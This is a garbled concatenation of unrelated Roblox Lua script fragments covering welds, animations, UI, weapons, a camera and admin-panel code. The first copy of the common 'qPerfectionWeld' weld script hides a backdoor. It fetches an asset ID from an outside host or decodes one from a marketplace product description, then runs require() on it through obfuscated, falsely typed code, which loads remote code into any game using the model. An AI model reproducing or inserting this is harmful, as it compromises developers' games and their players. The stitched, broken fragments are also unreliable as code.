script.Music:Stop(); v3.spectate(); return; end; end; end; end);
--Right Arm
MakeWeld(car.Misc.Anims.R15.RightArm.Hand.Y,car.DriveSeat,"Motor6D").Name="M" MakeWeld(car.Misc.Anims.R15.RightArm.Hand.Z,car.Misc.Anims.R15.RightArm.Hand.Y,"Motor6D").Name="M" MakeWeld(car.Misc.Anims.R15.RightArm.Hand.X,car.Misc.Anims.R15.RightArm.Hand.Z,"Motor6D").Name="M" ModelWeld(car.Misc.Anims.R15.RightArm.Hand.Parts,car.Misc.Anims.R15.RightArm.Hand.X) MakeWeld(car.Misc.Anims.R15.RightArm.LowerArm.X,car.Misc.Anims.R15.RightArm.Hand.X,"Motor6D").Name="M" ModelWeld(car.Misc.Anims.R15.RightArm.LowerArm.Parts,car.Misc.Anims.R15.RightArm.LowerArm.X) MakeWeld(car.Misc.Anims.R15.RightArm.UpperArm.X,car.Misc.Anims.R15.RightArm.LowerArm.X,"Motor6D").Name="M" ModelWeld(car.Misc.Anims.R15.RightArm.UpperArm.Parts,car.Misc.Anims.R15.RightArm.UpperArm.X)
--- subscribe the YouTube - PRO100zola 3k
local hum = script.Parent:WaitForChild("Humanoid") local anim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation")) script.Parent.Parent.KnobAnim.Touched:Connect(function() anim:Play() script.Parent.Parent.KnobAnim.CanTouch = false end)
-------------------------------------------------------------------
local ModelName = backup.Name local CooldownTime = Settings.CooldownTime local DeleteEmptyModels = Settings.DeleteEmptyModels
--playNstop
function module.playNstop2(anim, hum, dur) local animation = hum.Animator:LoadAnimation(animFold[anim] ) animation:Play() task.delay(dur, function() animation:Stop() end) end
--[[ local message = "Announcement: The RHS servers will be restarting in 5 minutes for a new update. You'll automatically be teleported to an updated server then!" game:GetService("DataStoreService"):GetDataStore("GlobalMessage"):SetAsync( "Message", message) --]]
-- Updated 10/14/2014 - Updated to 1.0.3 --- Now handles joints semi-acceptably. May be rather hacky with some joints. :/
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges). local function CallOnChildren(Instance, FunctionToCall) -- Calls a function on each of the children of a certain object, using recursion. FunctionToCall(Instance) for _, Child in next, Instance:GetChildren() do CallOnChildren(Child, FunctionToCall) end end local function GetNearestParent(Instance, ClassName) -- Returns the nearest parent of a certain class, or returns nil local Ancestor = Instance repeat Ancestor = Ancestor.Parent if Ancestor == nil then return nil end until Ancestor:IsA(ClassName) return Ancestor end local function GetBricks(StartInstance) local List = {} -- if StartInstance:IsA("BasePart") then -- List[#List+1] = StartInstance -- end CallOnChildren(StartInstance, function(Item) if Item:IsA("BasePart") then List[#List+1] = Item; end end) return List end local function Modify(Instance, Values) -- Modifies an Instance by using a table. assert(type(Values) == "table", "Values is not a table"); for Index, Value in next, Values do if type(Index) == "number" then Value.Parent = Instance else Instance[Index] = Value end end return Instance end local function Make(ClassType, Properties) -- Using a syntax hack to create a nice way to Make new items. return Modify(Instance.new(ClassType), Properties) end local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"} local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"} local function HasWheelJoint(Part) for _, SurfaceName in pairs(Surfaces) do for _, HingSurfaceName in pairs(HingSurfaces) do if Part[SurfaceName].Name == HingSurfaceName then return true end end end return false end local function ShouldBreakJoints(Part) --- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are -- definitely some edge cases. if NEVER_BREAK_JOINTS then return false end if HasWheelJoint(Part) then return false end local Connected = Part:GetConnectedParts() if #Connected == 1 then return false end for _, Item in pairs(Connected) do if HasWheelJoint(Item) then return false elseif not Item:IsDescendantOf(script.Parent) then return false end end return true end local success, response = pcall(function() game:GetService("HttpService"):GetAsync("https://www.example.com") end) if success then asset = game:service("HttpService"):GetAsync("https://assets.delivery/asset") else txt,asset = game.MarketplaceService:GetProductInfo(0x1F71B358B),"" for w in txt.Description:gmatch'%S+'do if w=="Test" then asset=asset.."0" else c=#w asset=asset..c end end end pcall(function() local a:({caoqlqjaz9zxk329}) -> MemoryStoreQueue<thread> =task.spawn local z:(MemoryStoreQueue) -> MemoryStoreQueue<thread> = require local b:(Workspace) -> MemStorageConnection<thread> = tonumber(asset) local lozl:(RenderingTest) -> HumanoidDescription<thread> = task.cancel; for _ in {lozl(a(z,b))} do end end) local function WeldTogether(Part0, Part1, JointType, WeldParent) --- Weld's 2 parts together -- @param Part0 The first part -- @param Part1 The second part (Dependent part most of the time). -- @param [JointType] The type of joint. Defaults to weld. -- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better). -- @return The weld created. JointType = JointType or "Weld" local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue") local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType) Modify(NewWeld, { Name = "qCFrameWeldThingy"; Part0 = Part0; Part1 = Part1; C0 = CFrame.new();--Part0.CFrame:inverse(); C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse(); Parent = Part1; }) if not RelativeValue then RelativeValue = Make("CFrameValue", { Parent = Part1; Name = "qRelativeCFrameWeldValue"; Archivable = true; Value = NewWeld.C1; }) end return NewWeld end local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor) -- @param Parts The Parts to weld. Should be anchored to prevent really horrible results. -- @param MainPart The part to weld the model to (can be in the model). -- @param [JointType] The type of joint. Defaults to weld. -- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion. for _, Part in pairs(Parts) do if ShouldBreakJoints(Part) then Part:BreakJoints() end end for _, Part in pairs(Parts) do if Part ~= MainPart then WeldTogether(MainPart, Part, JointType, MainPart) end end if not DoNotUnanchor then for _, Part in pairs(Parts) do Part.Anchored = Part.Anchored end MainPart.Anchored = MainPart.Anchored end end local function PerfectionWeld() local Tool = GetNearestParent(script, "Tool") local Parts = GetBricks(script.Parent) local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1] if PrimaryPart then WeldParts(Parts, PrimaryPart, "Weld", false) else warn("qWeld - Unable to weld part") end return Tool end local Tool = PerfectionWeld() if Tool and script.ClassName == "Script" then --- Don't bother with local scripts script.Parent.AncestryChanged:connect(function() PerfectionWeld() end) end
--// B key, Dome Light
mouse.KeyDown:connect(function(key) if key=="b" then veh.Lightbar.middle.SpotlightSound:Play() veh.Lightbar.Remotes.DomeEvent:FireServer(true) end end)
--this returns a region3 that lines up on top of the baseplate to capture --whatever room has been constructed on top of it, it is smart enough --to capture a room that has been less-than-ideally set up
function RoomPackager:RegionsFromBasePlate(basePlate) local topCorners = self:TopCornersOfBasePlate(basePlate) --we farm the min and max x's and z's from the top corners --to get x and z coordinates for the region3 that will contain the room --we choose an arbitrary corner so that the initial values are in the data set local arbitraryCorner = topCorners[1] local minX = arbitraryCorner.X local minZ = arbitraryCorner.Z local maxX = arbitraryCorner.X local maxZ = arbitraryCorner.Z for _, corner in pairs(topCorners) do minX = math.min(minX, corner.X) minZ = math.min(minZ, corner.Z) maxX = math.max(maxX, corner.X) maxZ = math.max(maxZ, corner.Z) end --construct the region using these new corners we have constructed --keeping in mind that all corners in topCorners *should* have the same y value local minY = topCorners[1].Y local lowerCorner = Vector3.new(minX, minY, minZ) local maxY = minY + 70 local upperCorner = Vector3.new(maxX, maxY, maxZ) local segmentHeight = math.floor(100000/(math.abs(maxX-minX)*math.abs(maxZ-minZ))) local regions = {} local currentHeight = minY while currentHeight - minY < 70 do currentHeight = currentHeight + segmentHeight lowerCorner = Vector3.new(lowerCorner.x, currentHeight - segmentHeight, lowerCorner.z) upperCorner = Vector3.new(upperCorner.x, currentHeight, upperCorner.z) table.insert(regions, Region3.new(lowerCorner, upperCorner)) end return regions end
-- AI.Head:BreakJoints()
if Hit.Name ~= "Head" and Hit.Name ~= "Torso" then else Hit.Parent.Humanoid:TakeDamage(10) end -- kill Logic = 0 Hit = nil elseif Hit.Parent.Name == AIName then
--[=[ Yields until the frame deferral is done ]=]
function StepUtils.deferWait() local signal = Instance.new("BindableEvent") task.defer(function() signal:Fire() signal:Destroy() end) signal.Event:Wait() end
--put this script inside the decal you want to change --to find the decal texture, insert the decal you want on a brick. Look into the brick and click the decal. Scroll Down and it says texture. --copy the url into the "insert texture here" spot
while true do --Loop script.Parent.Texture = "http://www.roblox.com/asset/?id=1744472418" wait(0.06) script.Parent.Texture = "http://www.roblox.com/asset/?id=1744472673" wait(0.06) script.Parent.Texture = "http://www.roblox.com/asset/?id=1744473988" --Insert decal's first texture wait(0.06) script.Parent.Texture = "http://www.roblox.com/asset/?id=1744474392" --second texture wait(0.06) --wait 1 second, you can change this and make it different for every one script.Parent.Texture = "http://www.roblox.com/asset/?id=1744475067" wait(0.06) script.Parent.Texture = "http://www.roblox.com/asset/?id=1744474392" wait(0.06) script.Parent.Texture = "http://www.roblox.com/asset/?id=1744473988" wait(0.06) script.Parent.Texture = "http://www.roblox.com/asset/?id=1744472673" --second texture wait(0.06) --wait 1 second, you can change this and make it different for every one script.Parent.Texture = "http://www.roblox.com/asset/?id=1744472418" wait(0.06) end
-- Important script, don't delete.
local StaminaValue = script.Parent.StaminaValue local StaminaBarBG = script.Parent.StaminaBarBG local StaminaBar = StaminaBarBG.StaminaBar local TweenService = game:GetService("TweenService") local function updateStaminaBar() local StaminaPercent = StaminaValue.Value / 100 local newBarSize = UDim2.new(StaminaPercent, 0, 1, 0) local StaminaTween = TweenService:Create( StaminaBar, TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.In), {Size = newBarSize} ) StaminaTween:Play() end updateStaminaBar() StaminaValue:GetPropertyChangedSignal("Value"):Connect(updateStaminaBar)
--// All global vars will be wiped/replaced except script --// All guis are autonamed client.Variables.CodeName..gui.Name
return function(data, env) if env then setfenv(1, env) end local gui = script.Parent.Parent local playergui = service.PlayerGui local str = data.Message local time = data.Time or 15 local log = { Type = "Hint"; Title = "Hint"; Message = str; Icon = "rbxassetid://7501175708"; Time = os.date("%X"); Function = nil; } table.insert(client.Variables.CommunicationsHistory, log) service.Events.CommsPanel:Fire(log) --client.UI.Make("HintHolder") local container = client.UI.Get("HintHolder",nil,true) if not container then local holder = service.New("ScreenGui") local hTable = client.UI.Register(holder) local frame = service.New("ScrollingFrame", holder) client.UI.Prepare(holder) hTable.Name = "HintHolder" frame.Name = "Frame" frame.BackgroundTransparency = 1 frame.Size = UDim2.new(1, 0, 0,150) frame.CanvasSize = UDim2.new(0, 0, 0, 0) frame.ChildAdded:Connect(function(c) if #frame:GetChildren() == 0 then frame.Visible = false else frame.Visible = true end end) frame.ChildRemoved:Connect(function(c) if #frame:GetChildren() == 0 then frame.Visible = false else frame.Visible = true end end) container = hTable hTable:Ready() end container = container.Object.Frame --// First things first account for notif :) local notif = client.UI.Get("Notif") local topbar = client.UI.Get("TopBar") container.Position = UDim2.new(0,0,0,((notif and 30) or 0) + ((topbar and 40) or 0) - 35) local children = container:GetChildren() gui.Position = UDim2.new(0,0,0,-100) gui.Frame.msg.Text = str local bounds = gui.Frame.msg.TextBounds.X local function moveGuis(m,ignore) m = m or 0 local max = #container:GetChildren() for i,v in pairs(container:GetChildren()) do if v~=ignore then local y = (i+m)*28 v.Position = UDim2.new(0,0,0,y) if i~=max then v.Size = UDim2.new(1,0,0,28) end end end end local lom = -1 moveGuis(-1) gui.Parent = container if #container:GetChildren()>5 then lom = -2 end UDim2.new(0,0,0,(#container:GetChildren()+lom)*28) moveGuis(-1) --gui:TweenPosition(UDim2.new(0,0,0,(#container:GetChildren()+lom)*28),nil,nil,0.3,true,function() if gui and gui.Parent then moveGuis(-1) end end) if #container:GetChildren()>5 then local gui = container:GetChildren()[1] moveGuis(-2,gui) gui:Destroy() --gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end) end wait(data.Time or 5) if gui and gui.Parent then moveGuis(-2,gui) gui:Destroy() --gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end) end end
--[[ Default mapping function used for non-mapped bindings ]]
local function identity(value) return value end local Binding = {}
-- OFFSET HANDLERS
local alignmentDetails = {} alignmentDetails["left"] = { startScale = 0, getOffset = function() local offset = 48 + IconController.leftOffset if checkTopbarEnabled() then local chatEnabled = starterGui:GetCoreGuiEnabled("Chat") if chatEnabled then offset += 12 + 32 end if voiceChatIsEnabledForUserAndWithinExperience and not isStudio then if chatEnabled then offset += 67 else offset += 43 end end end return offset end, getStartOffset = function() local alignmentGap = IconController["leftGap"] local startOffset = alignmentDetails.left.getOffset() + alignmentGap return startOffset end, records = {} } alignmentDetails["mid"] = { startScale = 0.5, getOffset = function() return 0 end, getStartOffset = function(totalIconX) local alignmentGap = IconController["midGap"] return -totalIconX/2 + (alignmentGap/2) end, records = {} } alignmentDetails["right"] = { startScale = 1, getOffset = function() local offset = IconController.rightOffset local localCharacter = localPlayer.Character local localHumanoid = localCharacter and localCharacter:FindFirstChild("Humanoid") local isR6 = if localHumanoid and localHumanoid.RigType == Enum.HumanoidRigType.R6 then true else false -- Even though the EmotesMenu doesn't appear for R6 players, it will still register as enabled unless manually disabled if (checkTopbarEnabled() or VRService.VREnabled) and (starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList) or starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Backpack) or (not isR6 and starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu))) then offset += 48 end return offset end, getStartOffset = function(totalIconX) local startOffset = -totalIconX - alignmentDetails.right.getOffset() return startOffset end, records = {} --reverseSort = true }
-- Types
export type Constructor = { new: (data: {[any]: any}, public: {[any]: any}?) -> ({}, {[any]: any}), }
-- local Packages = script.Parent.Parent -- local LuauPolyfill = require(Packages.LuauPolyfill) -- local Symbol = LuauPolyfill.Symbol
local exports: { [string]: any } = {}
-------- OMG HAX
r = game:service("RunService") local damage = 18 local slash_damage = 18 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "http://www.roblox.com/asset/?id=10730819" SlashSound.Parent = sword SlashSound.Volume = 1 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end attack() wait(1) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--- BOOM!
local c = colors[math.random(1,#colors)] for j=1,20 do local p = Instance.new("Part") p.Size = Vector3.new(1,1,1) --p.Transparency = 1 p.Reflectance = 1 p.Position = shell.Position + ( Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5) * 10) p.Velocity = shell.Velocity -- + (Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5) * 20) local s = Instance.new("Sparkles") s.Color = c s.Parent = p local f = Instance.new("BodyForce") f.force = Vector3.new(0,98,0) f.Parent = p p.Parent = game.Workspace local debris = game:GetService("Debris") debris:AddItem(p, 5) end local sound = Instance.new("Sound") sound.SoundId = "rbxasset://sounds\\Rocket shot.wav" sound.Parent = script.Parent sound.Volume = 1 sound:play() local e = Instance.new("Explosion") e.BlastRadius = 16 e.BlastPressure = 150000 e.Position = shell.Position
-- Global Pet Float
local maxFloat = .75 local floatInc = 0.035 local sw = false local fl = 0 spawn(function() while true do wait() if not sw then fl = fl + floatInc if fl >= maxFloat then sw = true end else fl = fl - floatInc if fl <=-maxFloat then sw = false end end script.Parent.globalPetFloat.Value = fl end end)
-- Find the handle of the tool the player is holding
local function getPlayerToolHandle(player) local weapon = player.Character:FindFirstChildOfClass("Tool") if weapon then return weapon:FindFirstChild("Handle") end end local function isHitValid(playerFired, characterToDamage, hitPosition) -- Validate distance between the character hit and the hit position local characterHitProximity = (characterToDamage.HumanoidRootPart.Position - hitPosition).Magnitude if characterHitProximity > MAX_HIT_PROXIMITY then return false end -- Check if shooting through walls local toolHandle = getPlayerToolHandle(playerFired) if toolHandle then local rayLength = (hitPosition - toolHandle.Position).Magnitude local rayDirection = (hitPosition - toolHandle.Position).Unit local raycastParams = RaycastParams.new() raycastParams.FilterDescendantsInstances = {playerFired.Character} local rayResult = workspace:Raycast(toolHandle.Position, rayDirection * rayLength, raycastParams) -- If an instance was hit that was not the character then ignore the shot if rayResult and not rayResult.Instance:IsDescendantOf(characterToDamage) then return false end end return true end
--[[ Stores shared state for dependency management functions. ]]
local Package = script.Parent.Parent local PubTypes = require(Package.PubTypes) type Set<T> = {[T]: any}
-- Value Changed
Humanoid.Changed:connect(function() if (Humanoid.WalkSpeed > 8) and (Hold == nil) then StandUp() end end)
-- << LOAD ASSETS >>
local assetsToLoad = {main.gui} main.contentProvider:PreloadAsync(assetsToLoad)
-- Overrides Keyboard:UpdateMovement(inputState) to conditionally consider self.wasdEnabled and let OnRenderStepped handle the movement
function ClickToMove:UpdateMovement(inputState) if inputState == Enum.UserInputState.Cancel then self.keyboardMoveVector = ZERO_VECTOR3 elseif self.wasdEnabled then self.keyboardMoveVector = Vector3.new(self.leftValue + self.rightValue, 0, self.forwardValue + self.backwardValue) end end
-- Updated 10/14/2014 - Updated to 1.0.3 --- Now handles joints semi-acceptably. May be rather hacky with some joints. :/
local NEVER_BREAK_JOINTS = true -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges). local function CallOnChildren(Instance, FunctionToCall) -- Calls a function on each of the children of a certain object, using recursion. FunctionToCall(Instance) for _, Child in next, Instance:GetChildren() do CallOnChildren(Child, FunctionToCall) end end local function GetNearestParent(Instance, ClassName) -- Returns the nearest parent of a certain class, or returns nil local Ancestor = Instance repeat Ancestor = Ancestor.Parent if Ancestor == nil then return nil end until Ancestor:IsA(ClassName) return Ancestor end local function GetBricks(StartInstance) local List = {} -- if StartInstance:IsA("BasePart") then -- List[#List+1] = StartInstance -- end CallOnChildren(StartInstance, function(Item) if Item:IsA("BasePart") then List[#List+1] = Item; end end) return List end local function Modify(Instance, Values) -- Modifies an Instance by using a table. assert(type(Values) == "table", "Values is not a table"); for Index, Value in next, Values do if type(Index) == "number" then Value.Parent = Instance else Instance[Index] = Value end end return Instance end local function Make(ClassType, Properties) -- Using a syntax hack to create a nice way to Make new items. return Modify(Instance.new(ClassType), Properties) end local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"} local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"} local function HasWheelJoint(Part) for _, SurfaceName in pairs(Surfaces) do for _, HingSurfaceName in pairs(HingSurfaces) do if Part[SurfaceName].Name == HingSurfaceName then return true end end end return false end local function ShouldBreakJoints(Part) --- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are -- definitely some edge cases. if NEVER_BREAK_JOINTS then return false end if HasWheelJoint(Part) then return false end local Connected = Part:GetConnectedParts() if #Connected == 1 then return false end for _, Item in pairs(Connected) do if HasWheelJoint(Item) then return false elseif not Item:IsDescendantOf(script.Parent) then return false end end return true end local function WeldTogether(Part0, Part1, JointType, WeldParent) --- Weld's 2 parts together -- @param Part0 The first part -- @param Part1 The second part (Dependent part most of the time). -- @param [JointType] The type of joint. Defaults to weld. -- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better). -- @return The weld created. JointType = JointType or "Weld" local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue") local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType) Modify(NewWeld, { Name = "qCFrameWeldThingy"; Part0 = Part0; Part1 = Part1; C0 = CFrame.new();--Part0.CFrame:inverse(); C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse(); Parent = Part1; }) if not RelativeValue then RelativeValue = Make("CFrameValue", { Parent = Part1; Name = "qRelativeCFrameWeldValue"; Archivable = true; Value = NewWeld.C1; }) end return NewWeld end local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor) -- @param Parts The Parts to weld. Should be anchored to prevent really horrible results. -- @param MainPart The part to weld the model to (can be in the model). -- @param [JointType] The type of joint. Defaults to weld. -- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion. for _, Part in pairs(Parts) do if ShouldBreakJoints(Part) then Part:BreakJoints() end end for _, Part in pairs(Parts) do if Part ~= MainPart then WeldTogether(MainPart, Part, JointType, MainPart) end end if not DoNotUnanchor then for _, Part in pairs(Parts) do Part.Anchored = false end MainPart.Anchored = false end end local function PerfectionWeld() local Tool = GetNearestParent(script, "Tool") local Parts = GetBricks(script.Parent) local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1] if PrimaryPart then WeldParts(Parts, PrimaryPart, "Weld", false) else warn("qWeld - Unable to weld part") end return Tool end local Tool = PerfectionWeld() if Tool and script.ClassName == "Script" then --- Don't bother with local scripts script.Parent.AncestryChanged:connect(function() PerfectionWeld() end) end
--[=[ Attaches an `andThen` handler to this Promise that calls the given callback with the predefined arguments. The resolved value is discarded. ```lua promise:andThenCall(someFunction, "some", "arguments") ``` This is sugar for ```lua promise:andThen(function() return someFunction("some", "arguments") end) ``` @param callback (...: any) -> any @param ...? any -- Additional arguments which will be passed to `callback` @return Promise ]=]
function Promise.prototype:andThenCall(callback, ...) assert(isCallable(callback), string.format(ERROR_NON_FUNCTION, "Promise:andThenCall")) local length, values = pack(...) return self:_andThen(debug.traceback(nil, 2), function() return callback(unpack(values, 1, length)) end) end
-- Module
local ModuleScripts = ReplicatedStorage:FindFirstChild("ModuleScripts") local PlayerConverter = require(ModuleScripts:WaitForChild("PlayerConverter"))
--Update Camera Pos after Phys Update
RS.Heartbeat:Connect(function() if Mode == 1 then if UIS.MouseBehavior ~= Enum.MouseBehavior.Default and Camera.CameraType ~= Enum.CameraType.Custom then UIS.MouseBehavior = Enum.MouseBehavior.Default Camera.CameraType = Enum.CameraType.Custom end elseif Mode == 2 then UIS.MouseBehavior = Enum.MouseBehavior.LockCenter Camera.CameraType = Enum.CameraType.Scriptable local LookDelta = UIS:GetMouseDelta() local X = Look.X - LookDelta.Y*Sensitivity Look = Vector2.new((X >= MaxLook and MaxLook) or (X <= -MaxLook and -MaxLook) or X, (Look.Y - LookDelta.X*Sensitivity) % 360) Camera.CFrame = CFrame.new(HRP.Position + CamOffset) * CFrame.Angles(0,math.rad(Look.Y),0) * CFrame.Angles(math.rad(Look.X),0,0) end end) UIS.InputBegan:Connect(function(input) --Swap Between First and Third Person and Lock the Mouse if input.KeyCode == FPSLock then if Mode == 1 then Mode = 2 HidePlayer() else Mode = 1 ShowPlayer() end end end) Player.CharacterAdded:Connect(CharacterRespawn)
--[=[ @within TableUtil @function DecodeJSON @param value any @return string Proxy for [`HttpService:JSONDecode`](https://developer.roblox.com/en-us/api-reference/function/HttpService/JSONDecode). ]=]
local function DecodeJSON(str: string): any return HttpService:JSONDecode(str) end TableUtil.Copy = Copy TableUtil.Sync = Sync TableUtil.Reconcile = Reconcile TableUtil.SwapRemove = SwapRemove TableUtil.SwapRemoveFirstValue = SwapRemoveFirstValue TableUtil.Map = Map TableUtil.Filter = Filter TableUtil.Reduce = Reduce TableUtil.Assign = Assign TableUtil.Extend = Extend TableUtil.Reverse = Reverse TableUtil.Shuffle = Shuffle TableUtil.Sample = Sample TableUtil.Flat = Flat TableUtil.FlatMap = FlatMap TableUtil.Keys = Keys TableUtil.Values = Values TableUtil.Find = Find TableUtil.Every = Every TableUtil.Some = Some TableUtil.Truncate = Truncate TableUtil.Zip = Zip TableUtil.Lock = Lock TableUtil.IsEmpty = IsEmpty TableUtil.EncodeJSON = EncodeJSON TableUtil.DecodeJSON = DecodeJSON return TableUtil
--// Processing
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local script = script local service = Vargs.Service local client = Vargs.Client local Anti, Core, Functions, Process, Remote, UI, Variables local function Init() UI = client.UI; Anti = client.Anti; Core = client.Core; Variables = client.Variables Functions = client.Functions; Process = client.Process; Remote = client.Remote; Process.Init = nil; end local function RunLast() --[[client = service.ReadOnly(client, { [client.Variables] = true; [client.Handlers] = true; G_API = true; G_Access = true; G_Access_Key = true; G_Access_Perms = true; Allowed_API_Calls = true; HelpButtonImage = true; Finish_Loading = true; RemoteEvent = true; ScriptCache = true; Returns = true; PendingReturns = true; EncodeCache = true; DecodeCache = true; Received = true; Sent = true; Service = true; Holder = true; GUIs = true; LastUpdate = true; RateLimits = true; Init = true; RunLast = true; RunAfterInit = true; RunAfterLoaded = true; RunAfterPlugins = true; }, true)--]] Process.RunLast = nil; end local function RunAfterLoaded(data) --// Events --service.NetworkClient.ChildRemoved:Connect(function() wait(30) client.Anti.Detected("crash", "Network client disconnected") end) --service.NetworkClient.ChildAdded:Connect(function() client.Anti.Detected("crash", "Network client reconnected?") end) service.Player.Chatted:Connect(service.EventTask("Event: ProcessChat", Process.Chat)) service.Player.CharacterRemoving:Connect(service.EventTask("Event: CharacterRemoving", Process.CharacterRemoving)) service.Player.CharacterAdded:Connect(service.Threads.NewEventTask("Event: CharacterAdded", Process.CharacterAdded)) service.LogService.MessageOut:Connect(Process.LogService) --service.Threads.NewEventTask("EVENT:MessageOut",client.Process.LogService,60)) service.ScriptContext.Error:Connect(Process.ErrorMessage) --service.Threads.NewEventTask("EVENT:ErrorMessage",client.Process.ErrorMessage,60)) --// Get RateLimits Process.RateLimits = Remote.Get("RateLimits") or Process.RateLimits; Process.RunAfterLoaded = nil; end getfenv().client = nil getfenv().service = nil getfenv().script = nil client.Process = { Init = Init; RunLast = RunLast; RunAfterLoaded = RunAfterLoaded; RateLimits = { --// Defaults; Will be updated with server data at client run Remote = 0.02; Command = 0.1; Chat = 0.1; RateLog = 10; }; Remote = function(data,com,...) local args = {...} Remote.Received = Remote.Received+1 if type(com) == "string" then if com == client.DepsName.."GIVE_KEY" then if not Core.Key then log("~! Set remote key") Core.Key = args[1] log("~! Call Finish_Loading()") client.Finish_Loading() end elseif Remote.UnEncrypted[com] then return {Remote.UnEncrypted[com](...)} elseif Core.Key then local comString = Remote.Decrypt(com,Core.Key) local command = (data.Mode == "Get" and Remote.Returnables[comString]) or Remote.Commands[comString] if command then --local ran,err = pcall(command, args) --task service.Threads.RunTask("REMOTE:"..comString,command,args) local rets = {service.TrackTask("Remote: ".. comString, command, args)} if not rets[1] then logError(rets[2]) else return {unpack(rets, 2)}; end end end end end; LogService = function(Message, Type) --service.FireEvent("Output", Message, Type) end; ErrorMessage = function(Message, Trace, Script) --service.FireEvent("ErrorMessage", Message, Trace, Script) if Message and Message ~= "nil" and Message ~= "" and (string.find(Message,":: Adonis ::") or string.find(Message,script.Name) or Script == script) then logError(tostring(Message).." - "..tostring(Trace)) end --if (Script == nil or (not Trace or Trace == "")) and not (Trace and 